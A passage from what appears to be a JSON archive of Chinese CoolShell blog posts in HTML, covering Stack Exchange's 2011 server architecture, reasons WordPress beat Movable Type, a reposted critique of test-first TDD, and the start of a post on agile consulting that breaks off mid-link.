href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3713.html\">你会问问题吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-23 Stack Exchange 的架构.html",
    "content": "<html><body><p>近日，Stack Exchange系统管理员blog上发布了一篇关于<a href=\"http://blog.serverfault.com/post/stack-exchanges-architecture-in-bullet-points/\" target=\"_blank\">Stack Exchange的架构一瞥</a>，其包括了Stack Overflow, Server Fault 和 Super User的 Stack Exchange 网络。注意最后一个关于人员的配置。希望能给大家一些相关的参考。</p>\n<h4>网络流量</h4>\n<ul>\n<li>每月9千5百万个PV</li>\n<li>每秒800 HTTP 请求</li>\n<li>每秒180 DNS 请求</li>\n<li>每秒55Mb 的带宽</li>\n</ul>\n<h4>数据中心</h4>\n<ul>\n<li>1 机柜 位于俄勒冈的 <a href=\"http://www.peakinternet.com/\">Peak Internet</a> (用于<a href=\"http://chat.stackexchange.com/\">chat</a> 和<a href=\"http://data.stackexchange.com/\">Data Explorer</a>)</li>\n<li>2 机框 位于 纽约的 <a href=\"http://www.peer1.com/\">Peer 1</a> ( 用于其它的 Stack Exchange Network)</li>\n</ul>\n<p><span id=\"more-3721\"></span></p>\n<h4>生产服务器</h4>\n<ul>\n<li>12 Web Servers (Windows Server 2008 R2)</li>\n<li>2 Database Servers (Windows Server 2008 R2 and SQL Server 2008 R2)</li>\n<li>2 Load Balancers (Ubuntu Server and HAProxy)</li>\n<li>2 Caching Servers (Redis on CentOS)</li>\n<li>1 Router / Firewall (Ubuntu Server)</li>\n<li>3 DNS Servers (Bind on CentOS)</li>\n</ul>\n<p>(生产服务器不含故障备份和管理服务器)</p>\n<h4>使用了的相关的软件和技术</h4>\n<ul>\n<li><a href=\"http://www.microsoft.com/net/\">C# / .NET</a></li>\n<li><a href=\"http://www.microsoft.com/windowsserver2008/en/us/default.aspx\">Windows Server 2008 R2</a></li>\n<li><a href=\"http://www.microsoft.com/sqlserver/en/us/default.aspx\">SQL Server 2008 R2</a></li>\n<li><a href=\"http://www.ubuntu.com/server\">Ubuntu Server</a></li>\n<li><a href=\"http://www.centos.org/\">CentOS</a></li>\n<li><a href=\"http://haproxy.1wt.eu/\">HAProxy</a> 用于负载均衡</li>\n<li><a href=\"http://redis.io/\">Redis</a> 用于缓存</li>\n<li><a href=\"http://sourceforge.net/projects/ccnet/\">CruiseControl.NET</a> 用于做builds</li>\n<li><a href=\"http://lucene.apache.org/lucene.net/\">Lucene.NET</a> 用于搜索</li>\n<li><a href=\"http://www.bacula.org/en/\">Bacula</a> 用于做备份</li>\n<li><a href=\"http://www.nagios.org/\">Nagios</a> (with n2rrd and drraw plugins) 用于系统监控</li>\n<li><a href=\"http://www.splunk.com/\">Splunk</a> 用于日志</li>\n<li><a href=\"http://www.red-gate.com/products/dba/sql-monitor/\">SQL Monitor from Red Gate</a> 用于监控SQL Server</li>\n<li><a href=\"http://mercurial.selenic.com/\">Mercurial</a> / <a href=\"http://www.fogcreek.com/kiln/\">Kiln</a> 用于源码管理</li>\n<li><a href=\"http://www.isc.org/software/bind\">Bind</a> 用于 DNS</li>\n</ul>\n<h4>程序员和系统管理员</h4>\n<ul>\n<li>14 程序员</li>\n<li>2 系统管理员</li>\n</ul>\n<p><span>（全文完）</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5075.html\"><img alt=\"你确信你了解时间吗？\" height=\"150\" src=\"../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4549.html\"><img alt=\"Facebook 的系统架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1242.html\"><img alt=\"23,148,855,308,184,500\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1242.html\">23,148,855,308,184,500</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3721.html\">Stack Exchange 的架构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-23 WordPress是怎么赢的？.html",
    "content": "<html><body><p>一个以前在Six Apart工作4年的产品经理<strong>Byrne Reese</strong>发布了<a href=\"http://www.majordojo.com/2011/02/how-did-wordpress-win.php\" target=\"_blank\">一篇文章</a>阐述为什么WordPress成为了赢家。其在文章中比较了WordPress和其主要竞争对手产品Movable Type。我觉得其中有可取之处，本想全文翻译的，后来觉得文章太长，翻译太花时间，所以，我把文章中的观点总结如下。</p>\n<p>作者例举了如下为什么WordPress会赢的理由：</p>\n<p><strong>一、Movable Type许可证，而WordPress是开源的</strong></p>\n<p>2004年，Movable Type修改了其许可证，这一举动激怒了所有Movable Type的用户，于是大家纷纷转投Wordpress，这是WordPress最终成为赢家最大的原因。就算是Movable Type有着优越的设计，优越的功能，还有优越的技术支持，但是面对的是一个完全免费的产品也没有办法。因为WordPress是开源的，开源就意味着完全免费，而Movable Type一开始也是免费的，但是其许可证策略有着很不确定的因素。（注：2007年Movable Type发布了开源版本）</p>\n<p><strong>二、WordPress很容易安装</strong></p>\n<p>WordPress的安装过程很简单，只需要不到5分钟，比起Movable Type来说，这太受用户和推广商欢迎，你几乎不需要去碰后台的那些Web设置。（注：不仅如此，WordPress的升级和安装插件和风格的用户体验也是非常的不错）这就是为什么大家都喜欢WordPress的原因，就算是其功能比Movable Type少了又少。</p>\n<p><span id=\"more-3716\"></span></p>\n<p><strong>三、WordPress由PHP写成</strong></p>\n<p>作者说到，本来，语言不应该成为原因，绝大多数用户在使用新产品时是不会去自己修改PHP和Perl的源码的。但是好像人们对PHP有着天生的好感。相比起Movable Type的Perl，人们似乎没有像对PHP那样觉得舒服。Perl让人感觉有些害怕。而PHP让更多的人参与进来为WordPress贡献了大量的插件和风格。另外，PHP相对于Perl来说，对于工作的技能要求不高，所以，可以很容易维护。对于技术人员来说，会有更多的人去建议老板使用PHP而不是Perl，而更多的主机空间采用PHP而不是Perl。（我个人以为，这和WordPress的设计关系可能更大，所有的Blog系统，WordPress的可定制化支持得更好一些）</p>\n<p><strong>四、WordPress的社区规模相当的大</strong></p>\n<p>WordPress之所以那么成功，有一个因素要归结于其社区，这个社区创造力实在是很强大。而且，这个社区周边有一个健康的经济商圈——“Premium Theme”，越来越多的人可以从中挣到一些钱，这样也让他们更有动力回报这个社区，这是一个非常健康的良性循环。</p>\n<p><strong>五、WordPress没有人进行强控制</strong></p>\n<p>对于WordPress来说，上述的那些事情都是社区决定的，而不是WordPress内部的人，WordPress没有选择过其许可证和编程语言。</p>\n<p><strong>六、WordPress的狂热崇拜</strong></p>\n<p>在一开始，WordPress并没有把自己定位在超出自己能力的地方，其把自己定位在不是那么优越的地方。低调的策略让WordPress的口碑不错。另一个因素是因为，Six Apart曾对WordPress进行过诽谤，这让Six Apart的诚信受到质疑，因此反而让人们更加地喜欢WordPress。再加上WordPress的谦虚低调，于是人们对WordPress产品产生了感情以及信仰，并开始和WordPress一同作战。是的，Six Apart不是一个竞争对手，而是一个完美的敌人。</p>\n<p><strong>七、Automattic的切换战役</strong></p>\n<p>Automattic是WordPress的运作公司。这是一个并不是很光彩的事情。作者说，有很多忠诚的Movable Type和TypePad用户向他透露到有来自Automattic的员式打电话给他们让他们切换到WordPress上，如果这样的人每人给他一美金，他会相当的富有。Automattic用尽一切办法和手段让用户切换到WordPress上，他们甚至给这些用户免费提供主机服务，还分配一个工程师给用户帮他们迁移系统。而当有用户迁移了，他们则制造一个成功的案例来鼓动别的用户。</p>\n<p><strong>八、Six Apart 收购 Apperceptive</strong></p>\n<p>Six Apart收购Apperceptive并没有错，而且还有很不错的利润增涨。问题是，收购以后，Six Apart从其社区中雇佣了很多很聪明的也有创造性的人到他的公司里。然后这些人加入后，其吞食了本来Six Apart以专业注称的服务。更糟糕的是，这个做法等于削弱了其社区的力量，社区里缺少领袖级的人物，于是只有Six Apart在战斗。</p>\n<p><strong>九、Six Apart 自己的失败</strong></p>\n<p>作者归结为一点：Six Apart严重地阻碍了自己的竞争力，因为其把自己的精力分布在了很多产品上。简而言之一句话——没有专注。如果Six Apart专注地做一个事，比如就做TypePad 或是 Movable Type，那么，今天的情况可能会很不一样。虽然，WordPress还是无可质疑地会成为最流行的Blog，但是他依然会面对着强大的对手，双方需要不停地在创新和技术上比拼。</p>\n<p>最后，作者说，目前这个世界上有WordPress, Drupal, Expression Engine, Movable Type, Simple CMS, TypePad, Twitter, Instagram, Tumblr,或是其它东西。作者让大家扪心自问——“是否WordPress是最好的产品？”作者依然认为 Movable Type 是最好的产品。其今天还是成为了很多商业公司的首选。</p>\n<p>——————————</p>\n<p>我个人觉得Blog的用户群其实对Blog的需求其实并不多，只需要可以发布文章，有评论，可以在边栏上添加一些小饰件，可以改变一下样式，最好自己的文章有人帮着做做推广什么的，基本上就是这个样子。所以，像新浪，搜狐这样提供商其实更好。更多的用户是不会去搭建自己的专有的blog的。所以，能自己搭建自己的blog的这群人，还是以技术人员偏多，而WordPress正好满足了技术人员的胃口。（老实说，WordPress的后台操作对于非技术人员的电脑用户来说还是很不够友好——太复杂，性能上好像也不是很好，插件多是多，但好的插件就那么几个）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1387.html\"><img alt=\"十个Web开发文章和教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1387.html\">十个Web开发文章和教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/914.html\"><img alt=\"6个变态的C语言Hello World程序\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/914.html\">6个变态的C语言Hello World程序</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3.html\"><img alt=\"50套Web开发图标\" height=\"150\" src=\"../wp-content/uploads/2009/03/webicon3-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3.html\">50套Web开发图标</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/294.html\"><img alt=\"OSGi和Java企业级运算的未来方向\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/294.html\">OSGi和Java企业级运算的未来方向</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1824.html\"><img alt=\"C语言和sh脚本的杂交代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1824.html\">C语言和sh脚本的杂交代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3716.html\">WordPress是怎么赢的？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-24 [转]TDD到底美还是不美？.html",
    "content": "<html><body><p></p>\n<div id=\"body_66167\">\n<p><span id=\"quote_66167\"> </span></p>\n<p><span style=\"font-size: 11pt;\"><strong>下面的文章转自Todd Wei 的《<a href=\"http://www.cnblogs.com/weidagang2046/archive/2011/02/23/1963277.html\" target=\"_blank\">TDD到底美还是不美？</a>》，对于这篇文章，我个人能过透过作者的观点感受到他的项目中使用TDD的难点，同样可以感受到作者内心的纠结。不管怎么样，我能够感到作者Todd Wei在独立思考，独立思考总是好的，因为那是走向成熟的必要条件。(<span style=\"color: #800000;\">另，大家可以移步过去看看相关的评论，挺有意思的</span>)</strong></span></p>\n<p>————————————————————————————————————</p>\n<p><span style=\"font-size: 10pt;\">最近CoolShell上的一篇</span><a href=\"https://coolshell.cn/articles/3649.html\" title=\"TDD并不是看上去的那么美\"><span style=\"font-size: 10pt;\">《TDD并不是看上去的那么美》</span></a><span style=\"font-size: 10pt;\">引起了敏捷社区的高度关注和激励辩论。今天，InfoQ甚至专门举行了一个“虚拟座谈会”</span><a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" title=\"《TDD有多美》\"><span style=\"font-size: 10pt;\">《TDD有多美？》</span></a><span style=\"font-size: 10pt;\">，几位国内敏捷社区的名人专门就此问题展开了深入地讨论。不论结果如何，这个纯技术的探讨精神还是非常值得赞赏的。事件实际上可以简单地归纳为“一个有一定影响力的开发人员质疑TDD，一群敏捷社区名人对TDD进行解释和辩护”。现在，就让我坚定地站在CoolShell一边，为对TDD的质疑和批判添砖加瓦吧！</span></p>\n</div>\n<p><span style=\"font-size: 10pt;\">TDD的核心理念是什么呢？第一是Specification by Example，即把测试用例作为表达需求的一种方式。传统的需求表达方式包括文档，Use Case等，而TDD强调通过测试用例来表达需求。另外，TDD的测试用例是黑盒的基于外部接口的，所以，它实际上又是对外部接口的设计。如何看待测试用例是TDD与传统测试的一个重要区别。“不把测试用例单纯地视为测试，而从需求和设计的角度来看测试用例”的理念本身是好的。另外，TDD的第二个理念是Test First，强调测试对于实现的驱动作用，先写测试用例，再实现和重构。在Specification by Example的理念下，Test First的实质是“先理解清楚需求，并做好外部接口设计，把它转化为测试用例，然后再来实现和重构”。 </span></p>\n<p><span style=\"font-size: 10pt;\">我认为，Specification by Example是不错的，因为测试用例作具有精确性，容易自动化的优点，这是传统的文档和Use Case在表达需求时所欠缺的地方。但</span><strong>Test First理念本身则有很大的问题</strong>，尤其“在没有测试用例失败之前，不要写任何一行代码”的极端方式则更是极端的错误。<br/>\n<span id=\"more-3766\"></span></p>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">如果测试用例是需求和设计，那么为什么不能先写出测试用例（即理解清楚需求做好外部接口设计）再来实现呢？这不是我们最熟悉的先需求再设计再编码吗？答案是：</span><span id=\"quote_66167\" style=\"font-size: 10pt;\"><strong>不能执行的测试用例（Test First）和能执行的测试用例有着天壤之别</strong>。不能执行的测试用例和写在纸上的文档相比对实现的指导意义不见得能好到哪里去！除非是一些很简单的情况下，在实际的软件开发中，你很难在没有执行测试用例的情况下写出真正符合最终需求的测试用例来。比如：你做一个页面，页面的效果需求和设计通常会在真正可以运行之后不断调整。如果片面强调测试对实现的驱动作用，那么实际上隐含了“需求可以在实现之前固定下来”的假设，这是非常不敏捷的和不现实的！我认为要做到真正的敏捷必须承认<strong>“需求无法在用户真正能运行看到效果之前明确下来“</strong>。由此可见，Test First和瀑布式思想没有区别，都强调需求先于实现，而忽略了软件需求的产生是一个在实际运行中不断调整探索完善的过程。TDD无非是把需求分析的结果用测试用例表达，替代传统用文档表达需求，但从宏观上看，TDD和瀑布比是换汤不换药。除了简单情况，不存在脱离实现的需求，你能够在明确了需求之后就实现出一套linux系统吗？既然你根本无法实现一套linux系统，那么这样所谓的需求又有多大的意义呢？所以，能提出什么样的需求不能脱离你的实现能力。<strong>需求和实现之间不是简单的谁驱动谁，而是一种相互反馈的关系</strong>，这与需求用什么方式表达没有关系。到目前为主，我推崇的方式是快速实现，在实际运行中体验效果，不断优化探索和明确需求，当需求达到一个比较稳定的程度才编写测试用例将需求固化下来。</span></p>\n<div>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">上面的论述主要针对贴近用户的外部需求（如ATDD），下面我会进一步解释即使是在内部的单元测试级别TDD仍然有问题。我们还是首先从需求入手，思考一下单元的需求是哪里来的呢？答案是：需求来自于设计， 也就是说高层模块的内部设计产生了低层模块的需求。而这种内部设计具有很大的不稳定性，带有很多假设的成分，在没有进行集成测试的情况下，很难讲这种内部设计是否合理。实际项目开发通常会在集成运行之后不断调整内部的设计，即影响单元的需求。那么，如果是按测试驱动，首先按不成熟的内部设计把一个个单元需求编写成单元测试再来实现，实际上大大推迟了能进行集成测试的时间，  对于真正快速弄清需求稳定设计反而是不利的。假设最终还是所有单元都完成，然后开始运行集成或验收测试，这时候有两种可能：1.用户看到实际效果，决定调整需求；2.发现未集成前的很多假设不成立。不论是哪一种情况发生，以前所写的单元测试都面临着被废弃或必须修改的命运。实际上，多数与业务相关的单元测试用例比起集成或验收测试用例更加不稳定，因为它会受到所有其上层模块的需求和设计变动的影响。由于我们在不稳定的单元测试上浪费了大量的时间（按我的经验编写单元测试比编写实现更耗时），这就导致了迟迟无法进行集成看到实际效果，也没有办法敏捷地应对需求的调整。也就是说具有讽刺意味的，</span><span id=\"quote_66167\" style=\"font-size: 10pt;\"><strong>Test First理念居然是和敏捷理念矛盾的！</strong></span></p>\n<p>所以，我认为TDD的理念Specification by Example没错，但Test   First即“在实现之前把需求和外部接口设计转化成测试用例”的理念错了。真正符合实际开发情况的理念是“需求是在实际运行过程中根据效果不断探索调整得来的，不可能脱离实际运行写出真正符合最终需求的测试用例来”。所以，<strong>我们真正应该做的是尽快看到实际运行的效果</strong>，而测试作为固化的需求和设计是在看到效果之后。<strong>过度的TDD只会导致迟迟看不到实际运行效果，看到效果需要调整需求又会废掉或改掉一大堆的测试用例。</strong>实际上，越是外部的需求其变更带来的影响和代价越大，越是需要尽早明确。从宏观上看，<strong>TDD所谓的快速反馈实际上是加快内部反馈，延迟了外部反馈，这无异于本末倒置</strong>。而大量需要修改或作废的测试用例其实是一种很大的浪费，这和消除浪费的精益思想也是矛盾的！</p>\n<div>\n<p><span id=\"quote_66167\"> </span></p>\n<div><img alt=\"\" border=\"0\" height=\"436\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/feedback_cycle.jpg\" width=\"564\"/></div>\n</div>\n</div>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">上面这幅cost/length_of_feedback_cycle图是我们常见的用于说明敏捷方法比传统方法具有更短的反馈周期，更小代价的应对变化。从图中我们可以清晰的看到在验收测试中发现的需求错误导致的代价是最高的。如果验收测试往后推迟一点，发现错误的代价将按非线性地增长。上面我们已经论述了，任何方法都不可能消除验收测试后对需求的调整，因为这是需求产生的正常过程。我们唯一可以做的是尽可能地缩短验收测试的反馈周期，但是很不幸TDD大量的内部测试只会导致推迟验收测试的时间，从而大大增加代价。<br/>\n</span></p>\n<div>\n<div><span style=\"font-size: 10pt;\">下面这段话来自于InfoQ文章</span><a href=\"http://www.infoq.com/cn/articles/thoughtworks-practice-partvi\" title=\"《Mock不是测试的银弹》\"><span style=\"font-size: 10pt;\">《Mock不是测试的银弹》</span></a><span style=\"font-size: 10pt;\">：“在使用JMock框架后测试编写起来更容易，运行速度更快，也更稳定，然而出乎意料的是产品质量并没有如我们所预期的随着不断添加  的测试而变得愈加健壮，虽然产品代码的单元测试覆盖率超过了80%，然而在发布前进行全面测试时，常常发现严重的功能缺陷而不得不一轮轮的修复缺陷、回归  测试。为什么编写了大量的测试还会频繁出现这些问题呢？ ”这描述的情况和我在实践中遇到的情况类似，不过很可惜文章并没有找到问题真正的原因。真正的原因不是什么Mock不Mock，而是TDD的单元测试是基于开发人员的假设，这些假设的测试即使全部通过代码覆盖率100%，到了集成测试发现假设根本不成立又怎能保证高质量？</span></div>\n</div>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">当然，我不是全盘否定TDD。TDD在某些需求特别固定的场合是适用的，尤其是与具体业务关系不大的需求，比如：写一个通用的数据结构，实现一个通用算法。TDD的先关注需求和思考外部接口设计的理念也对促进开发人员的抽象思维有很大益处。另外，TDD通常也具有较高的代码覆盖率。本文的主要观点在于：实际项目中，不要期望可以在实现之前完全明确需求，需求是在实际运行看到效果之后才逐步明确的；我们的开发过程必须能够敏捷地适应需求的变化，而TDD的Test First理念恰好与之矛盾。所以，对于TDD不了解的朋友，我建议应该学习和实践TDD，从而获得其益处；同时我也提醒TDD存在理论上的缺陷，这是在实践中需要特别留意的。</span></p>\n<p><span style=\"font-size: 10pt;\">(全文完)</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-24 再谈敏捷和ThoughtWorks中国咨询师.html",
    "content": "<html><body><p></p>\n<h4>前言说明</h4>\n<p>之所以用了“再”，是因为之前的两篇文章——</p>\n<ul>\n<li>我在《<a href=\"https://coolshell.cn/articles/3609.html\" title=\"那些炒作过度的技术和概念\">那些炒作过度的技术和概念</a>》中批评了ThoughtWorks中国咨询师的咨询方法是以一种接近于教条、炒作、洗脑和电视购物的方法（虽然我心底觉得有时候有时候更像传销），当然，批评是没有意义的，所以我也给了中国ThoughtWorks那些年轻的咨询师们一些我认为有建设性的建议。</li>\n</ul>\n<ul>\n<li>我在《<a href=\"https://coolshell.cn/articles/3649.html\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》一文中列举了一些在实际中使用TDD可能会出现的问题和难题，以此来告诉大家在使用TDD时需要注意的东西。就像是在《<a href=\"https://coolshell.cn/articles/16.html\" target=\"_blank\">结对编程的利与弊</a>》说的一样，只有真正知道一件事情的利弊，你才能用好它。</li>\n</ul>\n<p>当然，这两篇文章都不可避免得招来了ThoughtWorks咨询师和Agile信仰者们的很多回复，我也有开始沉不住气回复了很多，当然，有一半以上的不是学术上的讨论，而是对我个人的攻击。甚至，在这两篇文章发布后，酷壳（CoolShell.cn）受到<a href=\"https://coolshell.cn/articles/3686.html\" 